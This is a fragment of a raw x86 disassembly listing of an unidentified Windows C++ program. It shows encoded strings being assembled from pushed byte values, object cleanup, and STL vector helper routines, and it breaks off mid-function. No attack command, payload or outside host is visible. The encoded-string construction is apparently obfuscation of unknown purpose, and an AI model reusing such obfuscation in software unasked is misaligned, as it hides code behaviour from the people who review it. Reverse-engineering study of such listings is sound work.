		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+90h]
		push	13h
		push	edx
		call	sub_4019B5
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 34h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edi, [esi+0E7Fh]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 35h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1A0h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		mov	byte ptr [esp+3CCh], 36h
		push	13h
		lea	eax, [esp+8Ch]
		push	eax
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 37h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+0F11h]
		mov	byte ptr [esp+388h], 38h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+84h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D0h], 39h
		call	sub_4019B5
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Ah
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+107Eh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 3Bh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	[esp+10h], edi
		push	ecx
		mov	ecx, offset byte_4D637F
		call	sub_401A5F
		lea	ecx, [esp+0B0h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 3Ch
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Dh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+1234h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 3Eh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+98h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		mov	byte ptr [esp+3B4h], 3Fh
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 40h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+127Dh]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 41h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+188h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+78h]
		push	13h
		push	eax
		mov	byte ptr [esp+3C4h], 42h
		call	sub_4019B5
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 43h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+11EBh]
		mov	byte ptr [esp+388h], 44h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1B8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+80h]
		push	13h
		push	edx
		mov	byte ptr [esp+3CCh], 45h
		call	sub_4019B5
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 46h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+11A2h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 47h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+68h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		mov	byte ptr [esp+3C0h], 48h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+90h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 49h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edi, [esi+10C7h]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 4Ah
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 4Bh
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Ch
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+1159h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 4Dh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		mov	[esp+358h], bl
		lea	ecx, [esp+14h]
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+84h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D0h], 4Eh
		call	sub_4019B5
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Fh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+12C6h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 50h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	eax, [esp+10h]
		mov	ecx, offset byte_4D637F
		push	eax
		mov	[esp+14h], edi
		call	sub_401A5F
		push	offset byte_446F60
		push	offset word_4E6E8A
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+230h]
		call	sub_401424
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 51h
		call	sub_401424
		push	56D2h
		push	539h
		mov	byte ptr [esp+360h], 52h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		lea	ecx, [esp+230h]
		push	eax
		push	offset dword_4437F4
		push	ecx
		call	sub_40102D
		push	56D2h
		push	539h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 14h
		lea	edx, [esp+260h]
		push	eax
		push	offset dword_4437F4
		push	edx
		call	sub_40102D
		sub	esp, 0Ch
		lea	eax, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_4014C9
		lea	ecx, [esi+606h]
		push	ecx
		mov	ecx, esi
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+64Fh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+805h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+84Eh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+897h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+450h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+499h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		lea	edx, [esp+44h]
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+52Bh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+574h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+0B28h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+8E0h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+278h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+3BEh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+230h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+407h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1E8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+5BDh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2A8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+698h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		lea	edx, [esp+2C0h]
		push	edx
		call	sub_4014C9
		lea	eax, [esi+72Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+290h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+6E1h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+128h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+773h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+158h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+7BCh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	offset word_4E6E8A
		call	sub_4014C9
		lea	ecx, [esi+251h]
		push	ecx
		mov	ecx, esi
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+170h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+29Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+140h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+2E3h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+188h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+32Ch]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+248h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+375h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		push	0
		mov	ecx, offset byte_4D637F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 16Dh
		call	sub_4017E4
		push	eax
		push	offset byte_44741D
		mov	ecx, offset word_448D06
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D637F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1B6h
		call	sub_4017E4
		push	eax
		push	offset dword_4473D4
		mov	ecx, offset word_448D06
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D637F
		call	sub_40146A
		mov	ecx, [eax]
		call	sub_4017E4
		push	eax
		push	offset dword_4472B0
		mov	ecx, offset word_448D06
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D637F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 124h
		call	sub_4017E4
		push	eax
		push	offset word_447342
		mov	ecx, offset word_448D06
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D637F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 0DBh
		call	sub_4017E4
		push	eax
		push	offset byte_4472F9
		mov	ecx, offset word_448D06
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D637F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 92h
		call	sub_4017E4
		push	eax
		push	offset byte_44738B
		mov	ecx, offset word_448D06
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D637F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1FFh
		call	sub_4017E4
		push	eax
		push	offset byte_4474AF
		mov	ecx, offset word_448D06
		call	sub_401596
		lea	ecx, [esp+248h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+218h]
		mov	byte ptr [esp+370h], 53h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+8Ch], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+388h], 54h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0A8h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+3A0h], 55h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0C4h], esp
		push	eax
		call	sub_401861
		mov	ecx, offset word_448C8E
		mov	byte ptr [esp+3B8h], 52h
		call	sub_40137F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 51h
		call	sub_401226
		lea	ecx, [esp+230h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		mov	byte ptr [esp+358h], 1Dh
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	byte ptr [esp+358h], 1Ch
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+358h], 1Bh
		call	sub_401226
		lea	ecx, [esp+2C0h]
		mov	byte ptr [esp+358h], 1Ah
		call	sub_401226
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+358h], 19h
		call	sub_401226
		lea	ecx, [esp+2A8h]
		mov	byte ptr [esp+358h], 18h
		call	sub_401226
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+358h], 17h
		call	sub_401226
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+358h], 16h
		call	sub_401226
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+358h], 15h
		call	sub_401226
		lea	ecx, [esp+0C8h]
		mov	byte ptr [esp+358h], 14h
		call	sub_401226
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+358h], 13h
		call	sub_401226
		lea	ecx, [esp+218h]
		mov	byte ptr [esp+358h], 12h
		call	sub_401226
		lea	ecx, [esp+1D0h]
		mov	byte ptr [esp+358h], 11h
		call	sub_401226
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+358h], 10h
		call	sub_401226
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+358h], 0Fh
		call	sub_401226
		lea	ecx, [esp+0E0h]
		mov	byte ptr [esp+358h], 0Eh
		call	sub_401226
		lea	ecx, [esp+0F8h]
		mov	byte ptr [esp+358h], 0Dh
		call	sub_401226
		lea	ecx, [esp+2F0h]
		mov	byte ptr [esp+358h], 0Ch
		call	sub_401226
		lea	ecx, [esp+320h]
		mov	byte ptr [esp+358h], 0Bh
		call	sub_401226
		lea	ecx, [esp+2D8h]
		mov	byte ptr [esp+358h], 0Ah
		call	sub_401226
		lea	ecx, [esp+308h]
		mov	byte ptr [esp+358h], 9
		call	sub_401226
		lea	ecx, [esp+338h]
		mov	byte ptr [esp+358h], 8
		call	sub_401226
		lea	ecx, [esp+68h]
		mov	byte ptr [esp+358h], 7
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+358h], 6
		call	sub_401226
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+358h], 5
		call	sub_401226
		lea	ecx, [esp+0B0h]
		mov	byte ptr [esp+358h], 4
		call	sub_401226
		lea	ecx, [esp+98h]
		mov	byte ptr [esp+358h], 3
		call	sub_401226
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+358h], 2
		call	sub_401226
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+358h], 1
		call	sub_401226
		lea	ecx, [esp+80h]
		mov	byte ptr [esp+358h], 0
		call	sub_401226
		lea	ecx, [esp+1E8h]
		mov	dword ptr [esp+358h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+350h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 350h
		retn
; ---------------------------------------------------------------------------
		db 5C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409450	proc near		; CODE XREF: sub_40146Aj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_401974
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_409468
		mov	ecx, esi
		call	sub_40190B
; ---------------------------------------------------------------------------


loc_409468:				; CODE XREF: sub_409450+Fj
		mov	ecx, esi
		call	sub_401A37
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_409450	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409490	proc near		; CODE XREF: sub_401A5Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40128A
		push	eax
		mov	ecx, esi
		call	sub_40168B
		pop	esi
		retn	4
sub_409490	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4094C0	proc near		; CODE XREF: sub_401A37j
		mov	eax, [ecx+4]
		retn
sub_4094C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4094E0	proc near		; CODE XREF: sub_40128Aj
		mov	eax, [ecx+8]
		retn
sub_4094E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409500	proc near		; CODE XREF: sub_401974j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40950A
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40950A:				; CODE XREF: sub_409500+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_409500	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409530	proc near		; CODE XREF: sub_40168Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401A37
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_401B9A
		mov	ecx, edi
		call	sub_401A37
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_409530	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409580	proc near		; CODE XREF: sub_40190Bj

var_40		= byte ptr -40h
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_C		= dword	ptr -0Ch

		push	0FFFFFFFFh
		push	offset SEH_409580
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3Ch+var_39]
		lea	ecx, [esp+3Ch+var_38]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+44h+var_40]
		mov	[esp+44h+var_C], 0
		push	ecx
		lea	ecx, [esp+48h+var_30]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+48h+var_34]
		push	offset dword_43F080
		push	edx
		call	sub_436832
sub_409580	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409600	proc near		; CODE XREF: sub_401B9Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_4096CB
		mov	ecx, esi
		call	sub_401974
		cmp	edi, eax
		jnb	short loc_409633
		mov	ecx, esi
		call	sub_401974
		mov	ebp, eax
		jmp	short loc_409635
; ---------------------------------------------------------------------------


loc_409633:				; CODE XREF: sub_409600+26j
		mov	ebp, edi


loc_409635:				; CODE XREF: sub_409600+31j
		mov	ecx, esi
		call	sub_401974
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401CAD
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4016D6
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401177
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4016D6
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40170D
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_401974
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4096CB:				; CODE XREF: sub_409600+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_409729
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4016D6
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401177
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401F96
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409729:				; CODE XREF: sub_409600+D8j
		test	edi, edi
		jbe	short loc_409763
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4016D6
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_401CCB
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401F96
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_409763:				; CODE XREF: sub_409600+12Bj
